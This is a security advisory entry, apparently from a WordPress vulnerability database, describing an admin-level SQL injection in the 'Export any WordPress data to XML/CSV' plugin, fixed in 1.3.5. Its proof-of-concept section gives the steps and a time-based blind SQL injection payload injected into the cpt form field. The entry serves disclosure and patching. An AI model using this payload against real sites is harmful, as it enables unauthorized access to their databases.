WordPress Plugin Vulnerabilities

Export any WordPress data to XML/CSV < 1.3.5 - Admin+ SQL Injection

Description

The plugin does not sanitize the cpt POST parameter when exporting post data before using it in a database query, leading to an SQL injection vulnerability.

Proof of Concept

1. Go to the All Export > New Export screen in the WordPress admin.
2. Now click on Specific Post Type > Posts.
3. Click now on Migrate Posts and intercept this request and look for the name cpt:

Content-Disposition: form-data; name="cpt"
post

Change it to:

Content-Disposition: form-data; name="cpt"
post'+(select*from(select(sleep(10)))a)+'

Now you will see a later response of 10 seconds, thus confirming the authenticity of the sqli vulnerability.

Affects Plugins

Fixed in 1.3.5

References

Classification

Type
SQLI
OWASP top 10
CWE

Miscellaneous

Original Researcher
Asif Nawaz Minhas
Submitter
Asif Nawaz Minhas
Verified
Yes

Timeline

Publicly Published
2022-05-20 (about 1 years ago)
Added
2022-05-20 (about 1 years ago)
Last Updated
2023-02-13 (about 1 years ago)

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